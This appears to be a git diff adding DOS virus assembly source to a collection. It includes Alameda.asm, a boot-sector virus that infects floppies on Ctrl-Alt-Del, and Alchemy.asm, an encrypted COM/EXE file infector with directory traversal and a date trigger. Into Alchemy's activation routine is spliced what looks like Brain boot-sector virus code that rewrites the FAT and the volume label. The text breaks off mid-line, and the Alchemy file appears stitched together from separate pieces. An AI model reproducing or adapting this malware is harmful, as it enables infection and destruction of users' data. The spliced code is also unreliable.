si,2C65h + call sub_14 + mov al,41h ; 'A' + mov byte ptr data_227+62h,al ; ('') + xor di,di ; Zero register + mov bx,0Dh +loc_286: + mov dh,12h + mov dl,0Eh + mov si,2CF8h + call sub_14 + call sub_13 + mov al,33h ; '3' + mov data_102,al + mov data_89,2FCDh + call sub_16 + mov [bx+di],al + push bx + push di + shl di,1 ; Shift w/zeros fill + mov bx,offset data_229 + call word ptr [bx+di] ;* + pop di + pop bx + inc di + pop ax + cmp di,ax + je loc_287 ; Jump if equal + push ax + inc byte ptr data_227+62h ; ('') + jmp short loc_286 +loc_287: + pop ax + jmp loc_278 +sub_89 endp + +data_229 dw offset sub_82 +data_230 dw offset sub_83 +data_231 dw 0 +data_232 dw 0 +data_233 dw 100 dup (0) + +seg_a ends + + + + end start diff --git a/a/Alameda.asm b/a/Alameda.asm new file mode 100755 index 0000000..287ade7 --- /dev/null +++ b/a/Alameda.asm @@ -0,0 +1,381 @@ +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + NOP + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + \ No newline at end of file diff --git a/a/Alchemy.asm b/a/Alchemy.asm new file mode 100755 index 0000000..6e6a62e --- /dev/null +++ b/a/Alchemy.asm @@ -0,0 +1,1039 @@ +; Alchemy.asm : [Arachnyphobia] by Abraxas +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,07h ; add word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,10 ; Check month + jb exit_virus + cmp dl,14 ; Check date + jb exit_virus + cmp cx,1991 ; Check year + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + org 0 + + cli + jmp entervirus +idbytes db 34h, 12h +firsthead db 0 +firstsector dw 2707h +curhead db 0 +cursector dw 1 + db 0, 0, 0, 0 + db 'Welcome to the Dungeon ' +copyright db '(c) 1986 Brain' + db 17h + db '& Amjads (pvt) Ltd VIRUS_SHOE ' + db ' RECORD v9.0 Dedicated to th' + db 'e dynamic memories of millions o' + db 'f virus who are no longer with u' + db 's today - Thanks GOODNESS!! ' + db ' BEWARE OF THE er..VIRUS : \th' + db 'is program is catching prog' + db 'ram follows after these messeges' + db '..... $' + db '#@%$' + db '@!! ' +entervirus: + mov ax,cs + mov ds,ax ; ds = 0 + mov ss,ax ; set stack to after + mov sp,0F000h ; virus + sti + mov al,ds:[7C00h+offset firsthead] + mov ds:[7C00h+offset curhead],al + mov cx,ds:[7C00h+offset firstsector] + mov ds:[7C00h+offset cursector],cx + call calcnext + mov cx,5 ; read five sectors + mov bx,7C00h+200h ; after end of virus + +loadnext: + call readdisk + call calcnext + add bx,200h + loop loadnext + + mov ax,word ptr ds:[413h] ; Base memory size in Kb + sub ax,7 ; - 7 Kb + mov word ptr ds:[413h],ax ; Insert as new value + mov cl,6 + shl ax,cl ; Convert to paragraphs + mov es,ax + mov si,7C00h ; Copy from virus start + mov di,0 ; to start of memory + mov cx,1004h ; Copy 1004h bytes + cld + rep movsb + push es + mov ax,200h + push ax + retf ; return to old boot sector + +readdisk: + push cx + push bx + mov cx,4 ; Try 4 times + +tryread: + push cx + mov dh,ds:[7C00h+offset curhead] + mov dl,0 ; Read sector from default + mov cx,ds:[7C00h+offset cursector] + mov ax,201h ; Disk to memory at es:bx + int 13h + jnc readOK + mov ah,0 ; Reset disk + int 13h ; (force read track 0) + pop cx + loop tryread + + int 18h ; ROM basic on failure +readOK: + pop cx + pop bx + pop cx + retn + +calcnext: + mov al,byte ptr ds:[7C00h+offset cursector] + inc al + mov byte ptr ds:[7C00h+offset cursector],al + cmp al,0Ah + jne donecalc + mov byte ptr ds:[7C00h+offset cursector],1 + mov al,ds:[7C00h+offset curhead] + inc al + mov ds:[7C00h+offset curhead],al + cmp al,2 + jne donecalc + mov byte ptr ds:[7C00h+offset curhead],0 + inc byte ptr ds:[7C00h+offset cursector+1] +donecalc: + retn + +; the following is a collection of garbage bytes + db 00h, 00h, 00h, 00h, 32h,0E3h + db 23h, 4Dh, 59h,0F4h,0A1h, 82h + db 0BCh,0C3h, 12h, 00h, 7Eh, 12h + db 0CDh, 21h,0A2h, 3Ch, 5Fh +a_data dw 050Ch +; Second part of the virus begins here + jmp short entersecondpart + db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 +readcounter db 4 ; keep track of # reads +curdrive db 0 +int13flag db 0 + +entersecondpart: + mov cs:readcounter,1Fh + xor ax,ax + mov ds,ax ; ds -> interrupt table + mov ax,ds:[13h*4] + mov ds:[6Dh*4],ax + mov ax,ds:[13h*4+2] + mov ds:[6Dh*4+2],ax + mov ax,offset int13 ; 276h + mov ds:[13h*4],ax + mov ax,cs + mov ds:[13h*4+2],ax + mov cx,4 ; 4 tries + xor ax,ax + mov es,ax ; es -> interrupt table + +tryreadbootsector: + push cx + mov dh,cs:firsthead + mov dl,0 + mov cx,cs:firstsector + mov ax,201h ; read from default disk + mov bx,7C00h + int 6Dh ; int 13h + jnc readbootOK + mov ah,0 + int 6Dh ; int 13h + pop cx + loop tryreadbootsector + + int 18h ; ROM basic on failure +readbootOK: ; return control to + ; original boot sector +;* jmp far ptr 0000:7C00h + db 0EAh, 00h, 7Ch, 00h, 00h + nop ; MASM NOP!!! +int13: + sti + cmp ah,2 ; if not read request, + jne doint13 ; do not go further + cmp dl,2 ; if after second floppy, + ja doint13 ; do not go further + cmp ch,0 ; if not reading boot sector, + jne regularread ; go handle as usual + cmp dh,0 ; if boot sector, + je readboot ; do I<-/>/\|> stuff +regularread: + dec cs:readcounter ; Infect after 4 reads + jnz doint13 ; If counter still OK, don't + ; do anything else + jmp short readboot ; Otherwise, try to infect +doint13: + jmp exitint13h +readboot: +; FINISH THIS! + mov cs:int13flag,0 ; clear flag + mov cs:readcounter,4 ; reset counter + push ax + push bx + push cx + push dx + mov cs:curdrive,dl + mov cx,4 + +tryreadbootblock: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errorreadingbootblock ; Try again + mov dh,0 + mov cx,1 + mov bx,offset readbuffer ; buffer @ 6BEh + push es + mov ax,cs + mov es,ax + mov ax,201h + int 6Dh ; Read boot sector + pop es + jnc continuestuff ; continue if no error +errorreadingbootblock: + pop cx + loop tryreadbootblock + + jmp short resetdisk ; too many failures + nop +continuestuff: + pop cx ; get system id in boot block + mov ax,word ptr cs:[offset readbuffer+4] + cmp ax,1234h ; already infected? + jne dodisk ; if not, infect it + mov cs:int13flag,1 ; flag prev. infection + jmp short noreset +dodisk: + push ds + push es + mov ax,cs + mov ds,ax + mov es,ax + push si + call writevirus ; infect the disk + jc failme ; exit on failure + mov cs:int13flag,2 ; flag success + call changeroot ; manipulate volume label +failme: + pop si + pop es + pop ds + jnc noreset ; don't reset on success +resetdisk: + mov ah,0 ; reset disk + int 6Dh ; int 13h +noreset: + pop dx + pop cx + pop bx + pop ax + cmp cx,1 + jne exitint13h + cmp dh,0 + jne exitint13h + cmp cs:int13flag,1 ; already infected? + jne wasntinfected ; if wasn't, go elsewhere + mov cx,word ptr cs:[offset readbuffer+7] + mov dx,word ptr cs:[offset readbuffer+5] + mov dl,cs:curdrive ; otherwise, read real + jmp short exitint13h ; boot sector +wasntinfected: + cmp cs:int13flag,2 ; successful infection? + jne exitint13h ; if not, just do call + mov cx,cs:firstsector + mov dh,cs:firsthead +exitint13h: + int 6Dh ; int 13h + retf 2 + db 15 dup (0) + +FATManip: ; returns al as error code + jmp short delvedeeper + nop +FATManipreadcounter dw 3 + db ' (c) 1986 Brain & Amjads (pvt) Ltd' +delvedeeper: + call readFAT ; Get FAT ID byte + mov ax,word ptr ds:[offset readbuffer] + cmp ax,0FFFDh ; is it 360K disk? + je is360Kdisk ; continue if so + mov al,3 ; al=3 == not good disk + stc ; flag error + retn ; and exit +is360Kdisk: + mov cx,37h + mov FATManipreadcounter,0 ; none found yet +checknextsector: + call FATentry12bit ; get entry in FAT + cmp ax,0 ; unused? + jne notunused + inc FATManipreadcounter ; one more found unused + cmp FATManipreadcounter,3 ; If need more, + jne tryanother ; go there + jmp short markembad ; found 3 consecutive + nop ; empty sectors +notunused: + mov FATManipreadcounter,0 ; must start over +tryanother: + inc cx ; try next sector + cmp cx,163h ; end of disk? + jne checknextsector ; if not, continue + mov al,1 ; al=1 == none empty + stc ; Indicate error + retn +markembad: + mov dl,3 ; 3 times +markanotherbad: + call markbad12bit + dec cx + dec dl + jnz markanotherbad + inc cx + call calc1sttrack + call writeFAT ; update FAT + mov al,0 ; al=0 == ok + clc ; indicate success + retn + +markbad12bit: + push cx + push dx + mov si,offset readbuffer ; si -> buffer + mov al,cl + shr al,1 + jc low_12 ; low bits + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0F000h ; mark it bad + or ax,0FF7h + jmp short putitback ; and put it back + nop +low_12: + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0Fh ; mark it bad + or ax,0FF70h +putitback: + mov [bx+si],ax ; replace FAT entry + mov word ptr ds:[400h][bx+si],ax ; in two places + pop dx + pop cx + retn + +FATentry12bit: + push cx + mov si,offset readbuffer ; si->buffer + mov al,cl + shr al,1 +; Part 3 of the virus starts here + jc want_high_12 + call clus2offset12bit + mov ax,[bx+si] + and ax,0FFFh + jmp short exitFATentry12bit + nop +want_high_12: + call clus2offset12bit ; xxxxxxxxxxxx0000 + mov ax,[bx+si] ; ^^^^^^^^^^^^wanted + and ax,0FFF0h ; mask wanted bits + mov cl,4 ; and move to correct + shr ax,cl ; position +exitFATentry12bit: + pop cx + retn + +clus2offset12bit: + push dx + mov ax,3 + mul cx + shr ax,1 ; ax = cx*1.5 + mov bx,ax + pop dx + retn + +readFAT: + mov ah,2 ; read + call FAT_IO + retn + +writeFAT: + mov ah,3 ; write + call FAT_IO + retn + +FAT_IO: + mov cx,4 ; try four times +FAT_IOLoop: + push cx + push ax + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop ax + jc tryFAT_IOagain + mov bx,offset readbuffer + mov al,4 ; 4 sectors + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,2 ; sector 2 + push ax ; (FAT) + int 6Dh ; int 13h + pop ax + jnc exitFAT_IO +tryFAT_IOagain: + pop cx + loop FAT_IOLoop + + pop ax + pop ax + mov al,2 + stc ; mark error + retn +exitFAT_IO: + pop cx + retn + +calc1sttrack: + push cx + sub cx,2 + shl cx,1 ; 2 sectors/cluster + add cx,0Ch ; start of data area + mov ax,cx ; ax = sector + mov cl,12h ; 4096 + div cl ; ax/4096 = al rem ah + mov byte ptr firstsector+1,al + mov firsthead,0 + inc ah + cmp ah,9 ; past track 9? + jbe notpasttrack9 ; nope, we are ok + sub ah,9 ; otherwise, adjust + mov firsthead,1 +notpasttrack9: + mov byte ptr firstsector,ah + pop cx + retn + + db 0, 0, 0, 0, 0, 0 +r_or_w_root db 3 +entrycount dw 35h + +tempsave1 dw 303h +tempsave2 dw 0EBEh +tempsave3 dw 1 +tempsave4 dw 100h + db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh + db 8Dh, 98h, 9Fh, 8Eh,0E0h + db ' (c) ashar $' +changeroot: + call readroot ; read in root directory + jc donotchangeroot + push di + call changevolume ; change volume label + pop di + jc donotchangeroot + call writeroot ; write back new root dir +donotchangeroot: + retn +; The following is just garbage bytes + db 0BBh, 9Bh, 04h,0B9h, 0Bh + db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h + db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h + db 0C6h, 06h + +changevolume: + mov entrycount,6Ch + mov si,offset readbuffer+40h; 3nd dir entry + mov tempsave1,dx + mov ax,entrycount ; 6Ch + shr ax,1 + mov tempsave3,ax ; 36h + shr ax,1 + mov tempsave2,ax ; 1Bh + xchg ax,cx + and cl,43h ; cx = 3 + mov di,tempsave2 + add di,1E3h ; di = 01FE +findlabel: + mov al,[si] + cmp al,0 + je dolabel ; no mo entries + mov al,[si+0Bh] ; attribute byte + and al,8 ; volume label? + cmp al,8 ; yes? + je dolabel ; then change it! + add si,20h ; go to next directory entry + dec entrycount + jnz findlabel ; loop back + stc ; Error! + retn + db 8Bh +dolabel: + mov bx,[di] ; offset a_data + xor bx,tempsave3 ; bx = 53Ah + mov tempsave3,si ; si->direntry + cli + mov ax,ss + mov tempsave1,ax + mov tempsave2,sp + mov ax,cs + mov ss,ax + mov sp,tempsave3 + add sp,0Ch ;->reserved area + mov cl,51h + add dx,444Ch + mov di,2555h + mov cx,0C03h + repe cmpsw + mov ax,0B46h + mov cx,3 + rol ax,cl ; ax = 5A30h + mov tempsave3,ax + mov cx,5 + mov dx,8 + sub tempsave3,5210h ; 820h + push tempsave3 ; store attributes/reserved +; I haven't commented the remainder of this procedure. +; It basically changes the volume label to read "(c) Brain" + +; Comment mode OFF + +dowhatever: + mov ah,[bx] ; 5a3h + inc bx + mov dl,ah + shl dl,1 + jc dowhatever +searchstuff: + mov dl,[bx] ; dl=C2h + inc bx ; bx=53Eh + mov al,dl + shl dl,1 + jc searchstuff + add ax,1D1Dh + push ax + inc tempsave3 + db 73h, 01h ; jnc $+3 + db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 + xchg bp,ax + add al,0A1h + xchg bx,ax + add al,8Eh + sar bl,1 + add dh,[bp+si] + clc + ret + ;db 95h, 04h,0A1h, 93h, 04h, 8Eh + ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h + +; Comment mode ON + +readroot: + mov r_or_w_root,2 ; set action code + jmp short do_rw_root ; easier to do w/ + nop ; mov ah, 2 +writeroot: + mov r_or_w_root,3 + jmp short do_rw_root ; this is somewhat useless + nop +do_rw_root: + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,6 ; sector 6 + mov ah,r_or_w_root + mov al,4 ; 4 sectors + mov bx,offset readbuffer + call doint13h + jc exit_rw_root ; quit on error + mov cx,1 + mov dh,1 ; head 1 + mov ah,r_or_w_root + mov al,3 + add bx,800h + call doint13h + +exit_rw_root: + retn + +doint13h: + mov tempsave1,ax + mov tempsave2,bx + mov tempsave3,cx + mov tempsave4,dx + mov cx,4 + +doint13hloop: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errordoingint13h + mov ax,tempsave1 + mov bx,tempsave2 + mov cx,tempsave3 + mov dx,tempsave4 + int 6Dh ; int 13h + jnc int13hsuccess +errordoingint13h: + pop cx + loop doint13hloop + + stc ; indicate error + retn +int13hsuccess: + pop cx + retn + + db 0, 0, 0 +; Part 4 of the virus starts here +tempstorecx dw 3 +readwritecurrentdata dw 301h + +writevirus: + call FATManip + jc exitwritevirus + mov cursector,1 + mov curhead,0 + mov bx,offset readbuffer + call readcurrent + mov bx,offset readbuffer + mov ax,firstsector + mov cursector,ax + mov ah,firsthead + mov curhead,ah + call writecurrent + call 